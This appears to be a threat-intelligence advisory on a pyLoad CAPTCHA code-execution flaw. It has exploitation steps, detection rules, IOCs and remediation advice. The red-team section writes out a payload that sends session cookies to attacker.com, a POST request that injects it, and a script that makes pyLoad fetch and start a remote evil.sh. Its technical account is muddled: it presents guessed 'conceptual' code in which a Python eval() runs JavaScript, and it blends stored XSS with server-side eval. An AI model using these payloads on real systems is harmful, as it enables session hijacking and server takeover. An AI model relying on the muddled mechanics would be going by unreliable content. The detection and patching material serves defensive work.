CVE-2025-53890
Executive Summary
CVE-2025-53890 is a critical, unauthenticated remote code execution vulnerability in pyLoad, an open-source download manager. The flaw resides in the CAPTCHA processing code, where user-supplied data is unsafely evaluated as JavaScript. An attacker can exploit this by sending a crafted CAPTCHA response that executes arbitrary JavaScript in the context of the pyLoad web interface. This can lead to session hijacking, credential theft, and, due to the nature of the application, potential server-side code execution. The vulnerability has a CVSS score of 9.8, requires no authentication or user interaction, and is currently unpatched in versions prior to 0.5.0b3.dev89.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
pyLoad is a Python-based application distributed via PyPI. The vulnerability is introduced in the source code itself, not a dependency. However, users who install pyLoad via pip install pyload are affected if they are running a version prior to the patched commit. The supply chain risk is moderate, as the application is often deployed as a service, and a compromised instance could lead to lateral movement within a network.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - Exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions required.
- Privileges Required (PR): None (N) - No authentication needed.
- User Interaction (UI): None (N) - No user action required.
- Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) - Full data access possible.
- Integrity (I): High (H) - Full data modification possible.
- Availability (A): High (H) - Full system compromise possible.
Threat Level: Critical. The combination of remote exploitability, no authentication, and potential for full system compromise makes this a top-priority vulnerability.
Deep Dive & Mechanics
The vulnerability is located in pyLoad's CAPTCHA handling mechanism. When a download requires CAPTCHA solving, the application presents a challenge to the user. The user's response is processed by a JavaScript evaluation function. The core issue is that the application does not sanitize or validate the CAPTCHA response before passing it to eval() or a similar JavaScript execution context.
An attacker can intercept the CAPTCHA request and replace the legitimate response with a malicious JavaScript payload. This payload is then executed in the browser of the pyLoad administrator or any user viewing the CAPTCHA page. The payload can perform actions such as:
- Stealing session cookies.
- Making authenticated API calls to the pyLoad backend.
- Modifying the page to capture credentials.
- Initiating server-side actions via the pyLoad API, such as downloading and executing arbitrary files.
The attack flow is as follows:
- The attacker identifies a pyLoad instance (e.g., via Shodan).
- The attacker sends a request to the CAPTCHA endpoint, but instead of a valid CAPTCHA solution, they inject a JavaScript payload.
- The pyLoad server stores this payload.
- When an administrator or user views the CAPTCHA page (e.g., to solve a CAPTCHA), the payload is executed in their browser.
- The payload exfiltrates the admin's session cookie or performs actions on their behalf.
Vulnerable vs. Patched Code
The vulnerable code likely resembles the following (conceptual):
# Vulnerable code (conceptual)
def process_captcha_response(response):
# Directly evaluating user input as JavaScript
result = eval(response) # UNSAFE
return result
The patched code (from commit 909e5c97885237530d1264cfceb5555870eb9546) replaces the unsafe eval() with a safe parsing mechanism, such as using json.loads() or a dedicated CAPTCHA validation library.
# Patched code (conceptual)
import json
def process_captcha_response(response):
# Safely parse the response as JSON
try:
result = json.loads(response)
# Further validation of the parsed data
if is_valid_captcha(result):
return result
else:
raise ValueError("Invalid CAPTCHA response")
except json.JSONDecodeError:
raise ValueError("Invalid CAPTCHA response format")
The key difference is the removal of eval() and the introduction of strict input validation.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable pyLoad instance (version < 0.5.0b3.dev89) using Docker or a virtual machine.
- Ensure the web interface is accessible on port 8000 (default).
- The attacker machine should have network access to the pyLoad instance.
Exploitation Steps:
- Identify the CAPTCHA endpoint: The vulnerable endpoint is typically
/captcha/or similar. Use a web proxy (e.g., Burp Suite) to intercept traffic. - Craft the payload: Create a JavaScript payload that performs a malicious action. For example, to steal the admin's session cookie:
fetch('https://attacker.com/steal?cookie=' + document.cookie); - Inject the payload: Send a POST request to the CAPTCHA endpoint with the payload as the CAPTCHA response.
POST /captcha/ HTTP/1.1 Host: target-pyload:8000 Content-Type: application/x-www-form-urlencoded captcha_response=fetch('https://attacker.com/steal?cookie='%2Bdocument.cookie); - Trigger execution: The payload will execute when an administrator views the CAPTCHA page. This could be triggered by the attacker initiating a download that requires a CAPTCHA, or by waiting for the admin to interact with the interface.
- Exfiltrate data: The attacker's server receives the stolen cookie, which can then be used to hijack the admin's session.
Advanced Payload: For server-side code execution, the JavaScript payload can make API calls to the pyLoad backend to download and execute a malicious script.
fetch('/api/addPackage', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
name: 'malicious',
links: ['http://attacker.com/evil.sh'],
dest: 1
})
}).then(() => {
fetch('/api/startDownloads');
});
Blue Team
Detection:
- Monitor for unusual CAPTCHA responses: Look for CAPTCHA responses that contain JavaScript code, URLs, or unusual characters.
- Web Application Firewall (WAF) Rules: Block requests to the CAPTCHA endpoint that contain
eval,document.cookie,fetch, or other JavaScript keywords. - Log Analysis: Review web server logs for requests to
/captcha/with suspicious payloads. - Network Monitoring: Detect outbound connections from the pyLoad server to unknown external hosts, especially on non-standard ports.
Mitigation:
- Immediate Patching: Update pyLoad to version 0.5.0b3.dev89 or later.
- Input Validation: If patching is not immediately possible, implement a reverse proxy that validates CAPTCHA responses before they reach the pyLoad backend.
- Session Hardening: Use HTTPOnly and Secure flags for session cookies to prevent JavaScript access.
- Network Segmentation: Isolate the pyLoad server from critical internal systems.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests from the pyLoad server to unknown IP addresses or domains.
- Unusual POST requests to the
/captcha/endpoint containing JavaScript code.
- File System IOCs:
- Unexpected files in the pyLoad download directory (e.g.,
.sh,.exe,.ps1files). - Modified pyLoad configuration files.
- Unexpected files in the pyLoad download directory (e.g.,
- Process IOCs:
- Unusual child processes spawned by the pyLoad process (e.g.,
bash,cmd.exe,python).
- Unusual child processes spawned by the pyLoad process (e.g.,
- Log IOCs:
- Web server logs showing requests to
/captcha/witheval,fetch, orXMLHttpRequestin the body.
- Web server logs showing requests to
Detection Engineering
YARA Rule
rule CVE_2025_53890_CAPTCHA_EVAL {
meta:
description = "Detects attempts to exploit CVE-2025-53890 via unsafe JavaScript evaluation in CAPTCHA responses"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-53890"
severity = "critical"
strings:
$eval = /eval\s*\(/ nocase
$captcha = /captcha/i
$js_payload = /(document\.cookie|fetch\s*\(|XMLHttpRequest)/ nocase
condition:
$captcha and ($eval or $js_payload)
}
Sigma Rule
title: CVE-2025-53890 pyLoad CAPTCHA JavaScript Injection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to pyLoad CAPTCHA endpoint containing JavaScript code
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/captcha/'
keywords:
- 'eval'
- 'document.cookie'
- 'fetch('
- 'XMLHttpRequest'
condition: selection and keywords
falsepositives:
- Legitimate CAPTCHA responses that contain similar text (unlikely)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-53890 pyLoad CAPTCHA JavaScript Injection"; flow:to_server; content:"POST"; http_method; content:"/captcha/"; http_uri; pcre:"/(eval|document\.cookie|fetch\s*\()/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade pyLoad to version 0.5.0b3.dev89 or later, which includes the fix from commit
909e5c97885237530d1264cfceb5555870eb9546. - Workaround: If immediate patching is not possible, implement a reverse proxy (e.g., Nginx) that validates CAPTCHA responses and blocks those containing JavaScript code.
- Long-Term: Review all instances of
eval()or similar dynamic code execution in the codebase and replace them with safe alternatives. - Monitoring: Implement the detection rules provided above to identify exploitation attempts.
- Network Security: Ensure the pyLoad web interface is not exposed to the internet unless absolutely necessary. Use VPNs or firewalls to restrict access.
Valters IT
DevSecOps & Cyber Threat Intelligence